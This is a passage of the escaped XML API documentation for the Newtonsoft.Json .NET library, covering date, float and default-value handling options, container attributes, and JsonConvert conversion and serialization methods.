<c>\"2012-03-21T05:40Z\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.MicrosoftDateFormat\">\n            <summary>\n            Dates are written in the Microsoft JSON format, e.g. <c>\"\\/Date(1198908717056)\\/\"</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateParseHandling\">\n            <summary>\n            Specifies how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.None\">\n            <summary>\n            Date formatted strings are not parsed to a date type and are read as strings.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTime\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTimeOffset\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateTimeZoneHandling\">\n            <summary>\n            Specifies how to treat the time value when converting between string and <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Local\">\n            <summary>\n            Treat as local time. If the <see cref=\"T:System.DateTime\"/> object represents a Coordinated Universal Time (UTC), it is converted to the local time.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Utc\">\n            <summary>\n            Treat as a UTC. If the <see cref=\"T:System.DateTime\"/> object represents a local time, it is converted to a UTC.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Unspecified\">\n            <summary>\n            Treat as a local time if a <see cref=\"T:System.DateTime\"/> is being converted to a string.\n            If a string is being converted to <see cref=\"T:System.DateTime\"/>, convert to a local time if a time zone is specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\">\n            <summary>\n            Time zone information should be preserved when converting.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultJsonNameTable\">\n            <summary>\n            The default JSON name table implementation.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.DefaultJsonNameTable\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Add(System.String)\">\n            <summary>\n            Adds the specified string into name table.\n            </summary>\n            <param name=\"key\">The string to add.</param>\n            <remarks>This method is not thread-safe.</remarks>\n            <returns>The resolved string.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultValueHandling\">\n            <summary>\n            Specifies default value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingObject\" title=\"DefaultValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingExample\" title=\"DefaultValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Include\">\n            <summary>\n            Include members where the member value is the same as the member's default value when serializing objects.\n            Included members are written to JSON. Has no effect when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Ignore\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            so that it is not written to JSON.\n            This option will ignore all default values (e.g. <c>null</c> for objects and nullable types; <c>0</c> for integers,\n            decimals and floating point numbers; and <c>false</c> for booleans). The default value ignored can be changed by\n            placing the <see cref=\"T:System.ComponentModel.DefaultValueAttribute\"/> on the property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Populate\">\n            <summary>\n            Members with a default value but no JSON will be set to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.IgnoreAndPopulate\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            and set members to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatFormatHandling\">\n            <summary>\n            Specifies float format handling options when writing special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/> with <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.String\">\n            <summary>\n            Write special floating point values as strings in JSON, e.g. <c>\"NaN\"</c>, <c>\"Infinity\"</c>, <c>\"-Infinity\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.Symbol\">\n            <summary>\n            Write special floating point values as symbols in JSON, e.g. <c>NaN</c>, <c>Infinity</c>, <c>-Infinity</c>.\n            Note that this will produce non-valid JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.DefaultValue\">\n            <summary>\n            Write special floating point values as the property's default value in JSON, e.g. 0.0 for a <see cref=\"T:System.Double\"/> property, <c>null</c> for a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> property.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatParseHandling\">\n            <summary>\n            Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Double\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Formatting\">\n            <summary>\n            Specifies formatting options for the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.None\">\n            <summary>\n            No special formatting is applied. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.Indented\">\n            <summary>\n            Causes child objects to be indented according to the <see cref=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/> settings.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IArrayPool`1\">\n            <summary>\n            Provides an interface for using pooled arrays.\n            </summary>\n            <typeparam name=\"T\">The array type content.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Rent(System.Int32)\">\n            <summary>\n            Rent an array from the pool. This array must be returned when it is no longer needed.\n            </summary>\n            <param name=\"minimumLength\">The minimum required length of the array. The returned array may be longer.</param>\n            <returns>The rented array from the pool. This array must be returned when it is no longer needed.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Return(`0[])\">\n            <summary>\n            Return an array to the pool.\n            </summary>\n            <param name=\"array\">The array that is being returned.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IJsonLineInfo\">\n            <summary>\n            Provides an interface to enable a class to return line and position information.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>The current line number or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>The current line position or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonArrayAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonArrayAttribute.AllowNullItems\">\n            <summary>\n            Gets or sets a value indicating whether null items are allowed in the collection.\n            </summary>\n            <value><c>true</c> if null items are allowed in the collection; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with a flag indicating whether the array can contain null items.\n            </summary>\n            <param name=\"allowNullItems\">A flag indicating whether the array can contain null items.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConstructorAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified constructor when deserializing that object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonContainerAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n            <value>The id.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n            <value>The title.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Description\">\n            <summary>\n            Gets or sets the description.\n            </summary>\n            <value>The description.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the collection's items converter.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.IsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve object references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep object reference; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve collection's items references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep collection's items object references; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the collection's items.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the collection's items.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConvert\">\n            <summary>\n            Provides methods for converting between .NET types and JSON types.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"SerializeObject\" title=\"Serializing and Deserializing JSON with JsonConvert\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\">\n            <summary>\n            Gets or sets a function that creates default <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            Default settings are automatically used by serialization methods on <see cref=\"T:Newtonsoft.Json.JsonConvert\"/>,\n            and <see cref=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\"/> and <see cref=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\"/> on <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            To serialize without using any default settings create a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> with\n            <see cref=\"M:Newtonsoft.Json.JsonSerializer.Create\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.True\">\n            <summary>\n            Represents JavaScript's boolean value <c>true</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.False\">\n            <summary>\n            Represents JavaScript's boolean value <c>false</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Null\">\n            <summary>\n            Represents JavaScript's <c>null</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Undefined\">\n            <summary>\n            Represents JavaScript's <c>undefined</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.PositiveInfinity\">\n            <summary>\n            Represents JavaScript's positive infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NegativeInfinity\">\n            <summary>\n            Represents JavaScript's negative infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NaN\">\n            <summary>\n            Represents JavaScript's <c>NaN</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime,Newtonsoft.Json.DateFormatHandling,Newtonsoft.Json.DateTimeZoneHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <param name=\"timeZoneHandling\">The time zone handling when the date is converted to a string.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset,Newtonsoft.Json.DateFormatHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Boolean)\">\n            <summary>\n            Converts the <see cref=\"T:System.Boolean\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.Char\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Char\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Enum)\">\n            <summary>\n            Converts the <see cref=\"T:System.Enum\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Enum\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int32)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int16)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt16)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt32)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int64)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int64\"/>  to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt64)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt64\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Single)\">\n            <summary>\n            Converts the <see cref=\"T:System.Single\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Single\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Double)\">\n            <summary>\n            Converts the <see cref=\"T:System.Double\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Byte)\">\n            <summary>\n            Converts the <see cref=\"T:System.Byte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Byte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.SByte)\">\n            <summary>\n            Converts the <see cref=\"T:System.SByte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.SByte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Decimal)\">\n            <summary>\n            Converts the <see cref=\"T:System.Decimal\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Guid)\">\n            <summary>\n            Converts the <see cref=\"T:System.Guid\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Guid\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.TimeSpan)\">\n            <summary>\n            Converts the <see cref=\"T:System.TimeSpan\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.TimeSpan\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Uri)\">\n            <summary>\n            Converts the <see cref=\"T:System.Uri\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Uri\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char,Newtonsoft.Json.StringEscapeHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <param name=\"stringEscapeHandling\">The string escape handling.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Object)\">\n            <summary>\n            Converts the <see cref=\"T:System.Object\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Object\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object)\">\n            <summary>\n            Serializes the specified object to a JSON string.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see 